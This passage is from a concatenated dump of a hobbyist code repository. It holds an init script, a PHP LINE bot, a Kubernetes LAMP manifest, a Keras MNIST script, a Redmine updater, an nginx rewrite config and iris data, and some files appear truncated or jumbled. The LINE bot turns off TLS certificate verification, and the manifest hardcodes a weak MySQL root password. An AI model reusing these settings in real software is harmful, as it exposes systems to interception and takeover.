6 | # Required-Stop: my-service
7 | # Default-Start: 2 3 4 5
8 | # Default-Stop: 0 1 6
9 | # Short-Description: My Linux Service
10 | ### END INIT INFO
11 |
12 | set -e
13 |
14 | SERVICE_NAME=`basename $0`
15 | PIDFILE=/var/run/myserv.pid
16 | LOGPATH="/var/log/${SERVICE_NAME}"
17 | FOREVER_BIN=`which forever`
18 | APP_PATH="/var/share/work-js/app.js"
19 |
20 | case $1 in
21 | start)
22 | if [ -e "${PIDFILE}" ]; then
23 | PID=`cat ${PIDFILE}`
24 | echo "Service is running already. (PID=${PID})"
25 | exit 1
26 | fi
27 | if [ ! -d "${LOGPATH}" ]; then
28 | mkdir -p "${LOGPATH}"
29 | fi
30 | PID=`ps aux | grep ${APP_PATH} | head -n1 | awk '{print $2}'`
31 | ${FOREVER_BIN} start ${APP_PATH} -l "${LOGPATH}/service.log" -o "${LOGPATH}/out.log" -e "${LOGPATH}/error.log" > "${LOGPATH}/start.log"
32 | rm -rf ${PIDFILE}
33 | echo "${PID}" > ${PIDFILE}
34 | echo "Service ${SERVICE_NAME} start. PID=${PID}"
35 | ;;
36 | stop)
37 | if [ ! -e "${PIDFILE}" ]; then
38 | echo "Service is not running."
39 | else
40 | PID=`cat ${PIDFILE}`
41 | kill ${PID} || true
42 | rm -rf ${PIDFILE}
43 | echo "Service ${SERVICE_NAME} stop. PID=${PID}"
44 | fi
45 | ;;
46 | restart)
47 | $0 stop
48 | sleep 1
49 | $0 start
50 | ;;
51 | status)
52 | if [ -e "${PIDFILE}" ]; then
53 | PID=`cat ${PIDFILE}`
54 | echo "Service is running. (PID=${PID})"
55 | else
56 | echo "Service is not running."
57 | fi
58 | ;;
59 | *)
60 | echo "Usage: ${0} {start|stop|restart|status}"
61 | exit 1
62 | ;;
63 | esac
64 |
--------------------------------------------------------------------------------
/ImageMagick/convert-example.php:
--------------------------------------------------------------------------------
1 | ' + str(predict[0]) + ' = ' + str(answer)
71 | if answer == predict[0]:
72 | correct += 1
73 | i += 1
74 | print 'Accuracy = ' + str(float(correct) / float(len(predictList)) * 100) + '%'
75 |
76 |
--------------------------------------------------------------------------------
/seo-meta-tag/template.html:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 | 標題,這不用解釋了
5 |
6 |
7 |
8 |
9 |
10 |
11 |
12 |
13 |
14 |
15 |
16 |
17 |
18 |
19 |
20 |
21 |
22 |
23 |
24 |
25 |
26 |
27 |
28 |
29 |
30 |
31 |
32 |
33 |
34 |
35 |
36 |
37 |
38 |
39 |
40 |
41 |
42 |
43 |
44 |
45 |
46 |
47 |
48 |
49 |
50 |
51 |
52 |
53 |
54 |
55 |
56 |
--------------------------------------------------------------------------------
/line-api/reply.php:
--------------------------------------------------------------------------------
1 | []]));
9 | }
10 | $db = json_decode(file_get_contents($dbFilePath), true);
11 |
12 | $bodyMsg = file_get_contents('php://input');
13 |
14 | file_put_contents('log.txt', date('Y-m-d H:i:s') . 'Recive: ' . $bodyMsg);
15 |
16 | $obj = json_decode($bodyMsg, true);
17 |
18 | file_put_contents('log.txt', print_r($db, true));
19 |
20 | foreach ($obj['events'] as &$event) {
21 |
22 | $userId = $event['source']['userId'];
23 |
24 | // bot dirty logic
25 | if (!isset($db['user'][$userId])) {
26 | if ($event['message']['text'] === $password) {
27 | $db['user'][$userId] = [
28 | 'userId' => $userId,
29 | 'timestamp' => $event['timestamp']
30 | ];
31 | file_put_contents($dbFilePath, json_encode($db));
32 | $message = 'Login Success! Wellcome!';
33 | } else {
34 | $message = 'Input password please.';
35 | }
36 | } else {
37 | if (strtolower($event['message']['text']) === 'bye') {
38 | unset($db['user'][$userId]);
39 | file_put_contents($dbFilePath, json_encode($db));
40 | $message = 'bye';
41 | } else {
42 | $message = 'Already logged in. You can send \'bye\' to logout.';
43 | }
44 | }
45 |
46 | // Make payload
47 | $payload = [
48 | 'replyToken' => $event['replyToken'],
49 | 'messages' => [
50 | [
51 | 'type' => 'text',
52 | 'text' => $message
53 | ]
54 | ]
55 | ];
56 |
57 | // Send reply API
58 | $ch = curl_init();
59 | curl_setopt($ch, CURLOPT_URL, 'https://api.line.me/v2/bot/message/reply');
60 | curl_setopt($ch, CURLOPT_POST, true);
61 | curl_setopt($ch, CURLOPT_CUSTOMREQUEST, 'POST');
62 | curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
63 | curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
64 | curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
65 | curl_setopt($ch, CURLOPT_POSTFIELDS, json_encode($payload));
66 | curl_setopt($ch, CURLOPT_HTTPHEADER, [
67 | 'Content-Type: application/json',
68 | 'Authorization: Bearer ' . $channelAccessToken
69 | ]);
70 | $result = curl_exec($ch);
71 | curl_close($ch);
72 |
73 | }
74 |
--------------------------------------------------------------------------------
/k8s-micro-service/lamp.yml:
--------------------------------------------------------------------------------
1 |
2 | apiVersion: apps/v1
3 | kind: Deployment
4 | metadata:
5 | name: php-apache
6 | spec:
7 | replicas: 2
8 | selector:
9 | matchLabels:
10 | app: php-apache
11 | template:
12 | metadata:
13 | labels:
14 | app: php-apache
15 | spec:
16 | containers:
17 | - image: php:7.2-apache
18 | name: php-apache
19 | ports:
20 | - containerPort: 80
21 | name: php-apache
22 | volumeMounts:
23 | - mountPath: "/var/www/html"
24 | name: apache-www
25 | volumes:
26 | - name: apache-www
27 | persistentVolumeClaim:
28 | claimName: pvc-apache-www
29 |
30 | ---
31 |
32 | apiVersion: apps/v1
33 | kind: Deployment
34 | metadata:
35 | name: mysql
36 | spec:
37 | replicas: 1
38 | selector:
39 | matchLabels:
40 | app: mysql
41 | template:
42 | metadata:
43 | labels:
44 | app: mysql
45 | spec:
46 | containers:
47 | - image: mysql:5.6
48 | name: mysql
49 | env:
50 | - name: MYSQL_ROOT_PASSWORD
51 | value: 1qaz2wsx
52 | ports:
53 | - containerPort: 3306
54 | name: mysql
55 | volumeMounts:
56 | - mountPath: /var/lib/mysql
57 | name: mysql-data
58 | volumes:
59 | - name: mysql-data
60 | persistentVolumeClaim:
61 | claimName: pvc-mysql-data
62 |
63 | ---
64 |
65 | apiVersion: batch/v1
66 | kind: Job
67 | metadata:
68 | name: install-adminer
69 | spec:
70 | template:
71 | spec:
72 | containers:
73 | - image: php:7.2-apache
74 | name: php-apache
75 | volumeMounts:
76 | - mountPath: "/var/www/html"
77 | name: apache-www
78 | command: ["bash", "-c", "curl -L 'https://github.com/vrana/adminer/releases/download/v4.7.0/adminer-4.7.0.php' -o adminer.php"]
79 | volumes:
80 | - name: apache-www
81 | persistentVolumeClaim:
82 | claimName: pvc-apache-www
83 | restartPolicy: Never
84 | backoffLimit: 4
85 |
86 | ---
87 |
88 | apiVersion: v1
89 | kind: Service
90 | metadata:
91 | name: web
92 | spec:
93 | type: NodePort
94 | ports:
95 | - name: http
96 | port: 80
97 | protocol: TCP
98 | nodePort: 30080
99 | targetPort: 80
100 | - name: https
101 | port: 443
102 | protocol: TCP
103 | nodePort: 30443
104 | targetPort: 443
105 | selector:
106 | app: php-apache
107 |
--------------------------------------------------------------------------------
/google-colab/vgg16_mnist.py:
--------------------------------------------------------------------------------
1 | import cv2
2 | import numpy as np
3 |
4 | from keras.applications.vgg16 import VGG16
5 | from keras.layers import Input
6 | from keras.layers import Flatten
7 | from keras.layers import Dense
8 | from keras.layers import Dropout
9 | from keras.models import Model
10 | from keras.utils import np_utils
11 | from keras.datasets import mnist
12 |
13 | epochs = 10
14 | batch_size = 50
15 | row_col = 48
16 |
17 | # 原始的 MNIST 是 6000 筆 28*28 灰階
18 | def load_data():
19 | (X_train, y_train), (X_test, y_test) = mnist.load_data()
20 | X_train, y_train = X_train[:5000], y_train[:5000]
21 | X_test, y_test = X_test[5000:6000], y_test[5000:6000]
22 | X_train = [cv2.cvtColor(cv2.resize(i, (row_col, row_col)), cv2.COLOR_GRAY2RGB)
23 | for i in X_train]
24 | X_train = np.concatenate([arr[np.newaxis] for arr in X_train]).astype('float32')
25 | X_test = [cv2.cvtColor(cv2.resize(i, (row_col, row_col)), cv2.COLOR_GRAY2RGB)
26 | for i in X_test]
27 | X_test = np.concatenate([arr[np.newaxis] for arr in X_test]).astype('float32')
28 |
29 | X_train = X_train / 255
30 | X_test = X_test / 255
31 |
32 | y_train_ohe = np_utils.to_categorical(y_train, 10)
33 | y_test_ohe = np_utils.to_categorical(y_test, 10)
34 |
35 | return (X_train, y_train_ohe), (X_test, y_test_ohe)
36 |
37 |
38 | def load_model():
39 |
40 | base_network = VGG16(include_top=False, weights='imagenet', input_shape=(row_col, row_col, 3))
41 |
42 | # 凍結預設的參數
43 | for layer in base_network.layers:
44 | layer.trainable = False
45 |
46 | # 接上自行定義的全連結層
47 | model = Flatten()(base_network.output)
48 | model = Dense(4096, activation='relu', name='full_connect_1')(model)
49 | model = Dense(4096, activation='relu', name='full_connect_2')(model)
50 | model = Dropout(0.5)(model)
51 | model = Dense(10, activation='softmax', name='prediction')(model)
52 | model = Model(base_network.input, model, name='my_model')
53 |
54 | return model
55 |
56 |
57 | # 載入模型
58 | model = load_model()
59 | model.summary()
60 |
61 | # 載入訓練資料
62 | (x_train, y_train_ohe), (x_test, y_test_ohe) = load_data()
63 | print('Train Size:', x_train.shape)
64 | print('Test Size:', x_test.shape)
65 |
66 | #定義 loss function
67 | from keras.optimizers import SGD
68 | sgd = SGD(lr=0.05, decay=1e-5)
69 | model.compile(loss='categorical_crossentropy', optimizer=sgd, metrics=['accuracy'])
70 |
71 | # 開始訓練
72 | model.fit(x_train, y_train_ohe, validation_data=(x_test, y_test_ohe), epochs=epochs, batch_size=batch_size)
73 |
74 | # 輸出結果
75 | print('Train Acc:', model.evaluate(x_train, y_train_ohe)[1])
76 | print('Test Acc:', model.evaluate(x_test, y_test_ohe)[1])
77 |
--------------------------------------------------------------------------------
/redmine-reply.php:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env /usr/bin/php
2 | array(
48 | 'notes' => $notes,
49 | 'done_ratio' => $doneRatio
50 | )
51 | ));
52 | $contentType = 'application/json; charset=utf-8';
53 | } else {
54 | $data = '';
55 | $data .= '';
56 | $data .= '' . $notes . '';
57 | $data .= '' . $doneRatio . '';
58 | $data .= '';
59 | $url = sprintf('%s/issues/%d.xml?key=%s', $hostname, $issueNo, $key);
60 | $contentType = 'application/xml; charset=utf-8';
61 | }
62 |
63 | $curl = curl_init($url);
64 | curl_setopt($curl, CURLOPT_CUSTOMREQUEST, 'PUT');
65 | curl_setopt($curl, CURLOPT_HEADER, false);
66 | curl_setopt($curl, CURLOPT_HTTPHEADER, array(
67 | 'Content-Type: ' . $contentType,
68 | 'X-Redmine-API-Key: ' . $key
69 | ));
70 | curl_setopt($curl, CURLOPT_POSTFIELDS, $data);
71 | $response = curl_exec($curl);
72 | $httpStatus = curl_getinfo($curl, CURLINFO_HTTP_CODE);
73 | if ($httpStatus !== 200) {
74 | echo "Update redmine issue fail! (#${issueNo})\n" . print_r($data, true) . "\n";
75 | } else {
76 | echo "Update change log to redmine issue #${issueNo}.\n";
77 | }
78 | }
79 |
--------------------------------------------------------------------------------
/nginx-auto-switch/sites-enabled/site.conf:
--------------------------------------------------------------------------------
1 | server {
2 | listen 80;
3 |
4 | server_name localhost;
5 | root /home/sj/nginx-auto-switch/www;
6 |
7 | index index.html;
8 |
9 | access_log /var/log/nginx/access.log;
10 | error_log /var/log/nginx/error.log;
11 |
12 | charset utf-8;
13 |
14 | # detect http_user_agent for mobile / smart phones
15 | set $mobile_rewrite do_not_perform;
16 | if ($http_user_agent ~* "android|(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od)|iris|kindle|lge |maemo|midp|mmp|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows (ce|phone)|xda|xiino") {
17 | set $mobile_rewrite perform;
18 | }
19 | if ($http_user_agent ~* "^(1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-)") {
20 | set $mobile_rewrite perform;
21 | }
22 |
23 | # force rewrite desktop / mobile
24 | set $force_dt_cookie "";
25 | if ($args ~ 'desktop=true') {
26 | set $mobile_rewrite do_not_perform;
27 | set $force_dt_cookie "desktop=true";
28 | }
29 | if ($args ~ 'desktop=false') {
30 | set $mobile_rewrite perform;
31 | set $force_dt_cookie "desktop=false";
32 | }
33 | add_header Set-Cookie $force_dt_cookie;
34 | if ($http_cookie ~ 'desktop=true') {
35 | set $mobile_rewrite do_not_perform;
36 | }
37 |
38 | # mobile root rewrite
39 | if ($mobile_rewrite = perform) {
40 | rewrite ^/$ /index.html last;
41 | rewrite ^(.*)$ /mobile$1 break;
42 | }
43 | # default desktop root rewrite
44 | rewrite ^/$ /index.html last;
45 | rewrite ^(.*)$ /desktop$1 break;
46 | }
47 |
--------------------------------------------------------------------------------
/sj-nn/iris.csv:
--------------------------------------------------------------------------------
1 | 5.1,3.5,1.4,0.2,setosa
2 | 4.9,3.0,1.4,0.2,setosa
3 | 4.7,3.2,1.3,0.2,setosa
4 | 4.6,3.1,1.5,0.2,setosa
5 | 5.0,3.6,1.4,0.2,setosa
6 | 5.4,3.9,1.7,0.4,setosa
7 | 4.6,3.4,1.4,0.3,setosa
8 | 5.0,3.4,1.5,0.2,setosa
9 | 4.4,2.9,1.4,0.2,setosa
10 | 4.9,3.1,1.5,0.1,setosa
11 | 5.4,3.7,1.5,0.2,setosa
12 | 4.8,3.4,1.6,0.2,setosa
13 | 4.8,3.0,1.4,0.1,setosa
14 | 4.3,3.0,1.1,0.1,setosa
15 | 5.8,4.0,1.2,0.2,setosa
16 | 5.7,4.4,1.5,0.4,setosa
17 | 5.4,3.9,1.3,0.4,setosa
18 | 5.1,3.5,1.4,0.3,setosa
19 | 5.7,3.8,1.7,0.3,setosa
20 | 5.1,3.8,1.5,0.3,setosa
21 | 5.4,3.4,1.7,0.2,setosa
22 | 5.1,3.7,1.5,0.4,setosa
23 | 4.6,3.6,1.0,0.2,setosa
24 | 5.1,3.3,1.7,0.5,setosa
25 | 4.8,3.4,1.9,0.2,setosa
26 | 5.0,3.0,1.6,0.2,setosa
27 | 5.0,3.4,1.6,0.4,setosa
28 | 5.2,3.5,1.5,0.2,setosa
29 | 5.2,3.4,1.4,0.2,setosa
30 | 4.7,3.2,1.6,0.2,setosa
31 | 4.8,3.1,1.6,0.2,setosa
32 | 5.4,3.4,1.5,0.4,setosa
33 | 5.2,4.1,1.5,0.1,setosa
34 | 5.5,4.2,1.4,0.2,setosa
35 | 4.9,3.1,1.5,0.1,setosa
36 | 5.0,3.2,1.2,0.2,setosa
37 | 5.5,3.5,1.3,0.2,setosa
38 | 4.9,3.1,1.5,0.1,setosa
39 | 4.4,3.0,1.3,0.2,setosa
40 | 5.1,3.4,1.5,0.2,setosa
41 | 5.0,3.5,1.3,0.3,setosa
42 | 4.5,2.3,1.3,0.3,setosa
43 | 4.4,3.2,1.3,0.2,setosa
44 | 5.0,3.5,1.6,0.6,setosa
45 | 5.1,3.8,1.9,0.4,setosa
46 | 4.8,3.0,1.4,0.3,setosa
47 | 5.1,3.8,1.6,0.2,setosa
48 | 4.6,3.2,1.4,0.2,setosa
49 | 5.3,3.7,1.5,0.2,setosa
50 | 5.0,3.3,1.4,0.2,setosa
51 | 7.0,3.2,4.7,1.4,versicolor
52 | 6.4,3.2,4.5,1.5,versicolor
53 | 6.9,3.1,4.9,1.5,versicolor
54 | 5.5,2.3,4.0,1.3,versicolor
55 | 6.5,2.8,4.6,1.5,versicolor
56 | 5.7,2.8,4.5,1.3,versicolor
57 | 6.3,3.3,4.7,1.6,versicolor
58 | 4.9,2.4,3.3,1.0,versicolor
59 | 6.6,2.9,4.6,1.3,versicolor
60 | 5.2,2.7,3.9,1.4,versicolor
61 | 5.0,2.0,3.5,1.0,versicolor
62 | 5.9,3.0,4.2,1.5,versicolor
63 | 6.0,2.2,4.0,1.0,versicolor
64 | 6.1,2.9,4.7,1.4,versicolor
65 | 5.6,2.9,3.6,1.3,versicolor
66 | 6.7,3.1,4.4,1.4,versicolor
67 | 5.6,3.0,4.5,1.5,versicolor
68 | 5.8,2.7,4.1,1.0,versicolor
69 | 6.2,2.2,4.5,1.5,versicolor
70 | 5.6,2.5,3.9,1.1,versicolor
71 | 5.9,3.2,4.8,1.8,versicolor
72 | 6.1,2.8,4.0,1.3,versicolor
73 | 6.3,2.5,4.9,1.5,versicolor
74 | 6.1,2.8,4.7,1.2,versicolor
75 | 6.4,2.9,4.3,1.3,versicolor
76 | 6.6,3.0,4.4,1.4,versicolor
77 | 6.8,2.8,4.8,1.4,versicolor
78 | 6.7,3.0,5.0,1.7,versicolor
79 | 6.0,2.9,4.5,1.5,versicolor
80 | 5.7,2.6,3.5,1.0,versicolor
81 | 5.5,2.4,3.8,1.1,versicolor
82 | 5.5,2.4,3.7,1.0,versicolor
83 | 5.8,2.7,3.9,1.2,versicolor
84 | 6.0,2.7,5.1,1.6,versicolor
85 | 5.4,3.0,4.5,1.5,versicolor
86 | 6.0,3.4,4.5,1.6,versicolor
87 | 6.7,3.1,4.7,1.5,versicolor
88 | 6.3,2.3,4.4,1.3,versicolor
89 | 5.6,3.0,4.1,1.3,versicolor
90 | 5.5,2.5,4.0,1.3,versicolor
91 | 5.5,2.6,4.4,1.2,versicolor
92 | 6.1,3.0,4.6,1.4,versicolor
93 | 5.8,2.6,4.0,1.2,versicolor
94 | 5.0,2.3,3.3,1.0,versicolor
95 | 5.6,2.7,4.2,1.3,versicolor
96 | 5.7,3.0,4.2,1.2,versicolor
97 | 5.7,2.9,4.2,1.3,versicolor
98 | 6.2,2.9,4.3,1.3,versicolor
99 | 5.1,2.5,3.0,1.1,versicolor
100 | 5.7,2.8,4.1,1.3,versicolor
101 | 6.3,3.3,6.0,2.5,virginica
102 | 5.8,2.7,5.1,1.9,virginica
103 | 7.1,3.0,5.9,2.1,virginica
104 | 6.3,2.9,5.6,1.8,virginica
105 | 6.5,3.0,5.8,2.2,virginica
106 | 7.6,3.0,6.6,2.1,virginica
107 | 4.9,2.5,4.5,1.7,virginica
108 | 7.3,2.9,6.3,1.8,virginica
109 | 6.7,2.5,5.8,1.8,virginica
110 | 7.2,3.6,6.1,2.5,virginica
111 | 6.5,3.2,5.1,2.0,virginica
112 | 6.4,2.7,5.3,1.9,virginica
113 | 6.8,3.0,5.5,2.1,virginica
114 | 5.7,2.5,5.0,2.0,virginica
115 | 5.8,2.8,5.1,2.4,virginica
116 | 6.4,3.2,5.3,2.3,virginica
117 | 6.5,3.0,5.5,1.8,virginica
118 | 7.7,3.8,6.7,2.2,virginica
119 | 7.7,2.6,6.9,2.3,virginica
120 | 6.0,2.2,5.0,1.5,virginica
121 | 6.9,3.2,5.7,2.3,virginica
122 | 5.6,2.8,4.9,2.0,virginica
123 | 7.7,2.8,6.7,2.0,virginica
124 | 6.3,2.7,4.9,1.8,virginica
125 | 6.7,3.3,5.7,2.1,virginica
126 | 7.2,3.2,6.0,1.8,virginica
127 | 6.2,2.8,4.8,1.8,virginica
128 | 6.1,3.0,4.9,1.8,virginica
129 | 6.4,2.8,5.6,2.1,virginica
130 | 7.2,3.0,5.8,1.6,virginica
131 | 7.4,2.8,6.1,1.9,virginica
132 | 7.9,3.8,6.4,2.0,virginica
133 | 6.4,2.8,5.6,2.2,virginica
134 | 6.3,2.8,5.1,1.5,virginica
135 | 6.1,2.6,5.6,1.4,virginica
136 | 7.7,3.0,6.1,2.3,virginica
137 | 6.3,3.4,5.6,2.4,virginica
138 | 6.4,3.1,5.5,1.8,virginica
139 | 6.0,3.0,4.8,1.8,virginica
140 | 6.9,3.1,5.4,2.1,virginica
141 | 6.7,3.1,5.6,2.4,virginica
142 | 6.9,3.1,5.1,2.3,virginica
143 | 5.8,2.7,5.1,1.9,virginica
144 | 6.8,3.2,5.9,2.3,virginica
145 | 6.7,3.3,5.7,2.5,virginica
146 | 6.7,3.0,5.2,2.3,virginica
147 | 6.3,2.5,5.0,1.9,virginica
148 | 6.5,3.0,5.2,2.0,virginica
149 | 6.2,3.4,5.4,2.3,virginica
150 | 5.9,3.0,5.1,1.8,virginica
151 |
--------------------------------------------------------------------------------
/spark-ml-iris/iris.csv:
--------------------------------------------------------------------------------
1 | 5.1,3.5,1.4,0.2,setosa
2 | 4.9,3.0,1.4,0.2,setosa
3 | 4.7,3.2,1.3,0.2,setosa
4 | 4.6,3.1,1.5,0.2,setosa
5 | 5.0,3.6,1.4,0.2,setosa
6 | 5.4,3.9,1.7,0.4,setosa
7 | 4.6,3.4,1.4,0.3,setosa
8 | 5.0,3.4,1.5,0.2,setosa
9 | 4.4,2.9,1.4,0.2,setosa
10 | 4.9,3.1,1.5,0.1,setosa
11 | 5.4,3.7,1.5,0.2,setosa
12 | 4.8,3.4,1.6,0.2,setosa
13 | 4.8,3.0,1.4,0.1,setosa
14 | 4.3,3.0,1.1,0.1,setosa
15 | 5.8,4.0,1.2,0.2,setosa
16 | 5.7,4.4,1.5,0.4,setosa
17 | 5.4,3.9,1.3,0.4,setosa
18 | 5.1,3.5,1.4,0.3,setosa
19 | 5.7,3.8,1.7,0.3,setosa
20 | 5.1,3.8,1.5,0.3,setosa
21 | 5.4,3.4,1.7,0.2,setosa
22 | 5.1,3.7,1.5,0.4,setosa
23 | 4.6,3.6,1.0,0.2,setosa
24 | 5.1,3.3,1.7,0.5,setosa
25 | 4.8,3.4,1.9,0.2,setosa
26 | 5.0,3.0,1.6,0.2,setosa
27 | 5.0,3.4,1.6,0.4,setosa
28 | 5.2,3.5,1.5,0.2,setosa
29 | 5.2,3.4,1.4,0.2,setosa
30 | 4.7,3.2,1.6,0.2,setosa
31 | 4.8,3.1,1.6,0.2,setosa
32 | 5.4,3.4,1.5,0.4,setosa
33 | 5.2,4.1,1.5,0.1,setosa
34 | 5.5,4.2,1.4,0.2,setosa
35 | 4.9,3.1,1.5,0.1,setosa
36 | 5.0,3.2,1.2,0.2,setosa
37 | 5.5,3.5,1.3,0.2,setosa
38 | 4.9,3.1,1.5,0.1,setosa
39 | 4.4,3.0,1.3,0.2,setosa
40 | 5.1,3.4,1.5,0.2,setosa
41 | 5.0,3.5,1.3,0.3,setosa
42 | 4.5,2.3,1.3,0.3,setosa
43 | 4.4,3.2,1.3,0.2,setosa
44 | 5.0,3.5,1.6,0.6,setosa
45 | 5.1,3.8,1.9,0.4,setosa
46 | 4.8,3.0,1.4,0.3,setosa
47 | 5.1,3.8,1.6,0.2,setosa
48 | 4.6,3.2,1.4,0.2,setosa
49 | 5.3,3.7,1.5,0.2,setosa
50 | 5.0,3.3,1.4,0.2,setosa
51 | 7.0,3.2,4.7,1.4,versicolor
52 | 6.4,3.2,4.5,1.5,versicolor
53 | 6.9,3.1,4.9,1.5,versicolor
54 | 5.5,2.3,4.0,1.3,versicolor
55 | 6.5,2.8,4.6,1.5,versicolor
56 | 5.7,2.8,4.5,1.3,versicolor
57 | 6.3,3.3,4.7,1.6,versicolor
58 | 4.9,2.4,3.3,1.0,versicolor
59 | 6.6,2.9,4.6,1.3,versicolor
60 | 5.2,2.7,3.9,1.4,versicolor
61 | 5.0,2.0,3.5,1.0,versicolor
62 | 5.9,3.0,4.2,1.5,versicolor
63 | 6.0,2.2,4.0,1.0,versicolor
64 | 6.1,2.9,4.7,1.4,versicolor
65 | 5.6,2.9,3.6,1.3,versicolor
66 | 6.7,3.1,4.4,1.4,versicolor
67 | 5.6,3.0,4.5,1.5,versicolor
68 | 5.8,2.7,4.1,1.0,versicolor
69 | 6.2,2.2,4.5,1.5,versicolor
70 | 5.6,2.5,3.9,1.1,versicolor
71 | 5.9,3.2,4.8,1.8,versicolor
72 | 6.1,2.8,4.0,1.3,versicolor
73 | 6.3,2.5,4.9,1.5,versicolor
74 | 6.1,2.8,4.7,1.2,versicolor
75 | 6.4,2.9,4.3,1.3,versicolor
76 | 6.6,3.0,4.4,1.4,versicolor
77 | 6.8,2.8,4.8,1.4,versicolor
78 | 6.7,3.0,5.0,1.7,versicolor
79 | 6.0,2.9,4.5,1.5,versicolor
80 | 5.7,2.6,3.5,1.0,versicolor
81 | 5.5,2.4,3.8,1.1,versicolor
82 | 5.5,2.4,3.7,1.0,versicolor
83 | 5.8,2.7,3.9,1.2,versicolor
84 | 6.0,2.7,5.1,1.6,versicolor
85 | 5.4,3.0,4.5,1.5,versicolor
86 | 6.0,3.4,4.5,1.6,versicolor
87 | 6.7,3.1,4.7,1.5,versicolor
88 | 6.3,2.3,4.4,1.3,versicolor
89 | 5.6,3.0,4.1,1.3,versicolor
90 | 5.5,2.5,4.0,1.3,versicolor
91 | 5.5,2.6,4.4,1.2,versicolor
92 | 6.1,3.0,4.6,1.4,versicolor
93 | 5.8,2.6,4.0,1.2,versicolor
94 | 5.0,2.3,3.3,1.0,versicolor
95 | 5.6,2.7,4.2,1.3,versicolor
96 | 5.7,3.0,4.2,1.2,versicolor
97 | 5.7,2.9,4.2,1.3,versicolor
98 | 6.2,2.9,4.3,1.3,versicolor
99 | 5.1,2.5,3.0,1.1,versicolor
100 | 5.7,2.8,4.1,1.3,versicolor
101 | 6.3,3.3,6.0,2.5,virginica
102 | 5.8,2.7,5.1,1.9,virginica
103 | 7.1,3.0,5.9,2.1,virginica
104 | 6.3,2.9,5.6,1.8,virginica
105 | 6.5,3.0,5.8,2.2,virginica
106 | 7.6,3.0,6.6,2.1,virginica
107 | 4.9,2.5,4.5,1.7,virginica
108 | 7.3,2.9,6.3,1.8,virginica
109 | 6.7,2.5,5.8,1.8,virginica
110 | 7.2,3.6,6.1,2.5,virginica
111 | 6.5,3.2,5.1,2.0,virginica
112 | 6.4,2.7,5.3,1.9,virginica
113 | 6.8,3.0,5.5,2.1,virginica
114 | 5.7,2.5,5.0,2.0,virginica
115 | 5.8,2.8,5.1,2.4,virginica
116 | 6.4,3.2,5.3,2.3,virginica
117 | 6.5,3.0,5.5,1.8,virginica
118 | 7.7,3.8,6.7,2.2,virginica
119 | 7.7,2.6,6.9,2.3,virginica
120 | 6.0,2.2,5.0,1.5,virginica
121 | 6.9,3.2,5.7,2.3,virginica
122 | 5.6,2.8,4.9,2.0,virginica
123 | 7.7,2.8,6.7,2.0,virginica
124 | 6.3,2.7,4.9,1.8,virginica
125 | 6.7,3.3,5.7,2.1,virginica
126 | 7.2,3.2,6.0,1.8,virginica
127 | 6.2,2.8,4.8,1.8,virginica
128 | 6.1,3.0,4.9,1.8,virginica
129 | 6.4,2.8,5.6,2.1,virginica
130 | 7.2,3.0,5.8,1.6,virginica
131 | 7.4,2.8,6.1,1.9,virginica
132 | 7.9,3.8,6.4,2.0,virginica
133 | 6.4,2.8,5.6,2.2,virginica
134 | 6.3,2.8,5.1,1.5,virginica
135 | 6.1,2.6,5.6,1.4,virginica
136 | 7.7,3.0,6.1,2.3,virginica
137 | 6.3,3.4,5.6,2.4,virginica
138 | 6.4,3.1,5.5,1.8,virginica
139 | 6.0,3.0,4.8,1.8,virginica
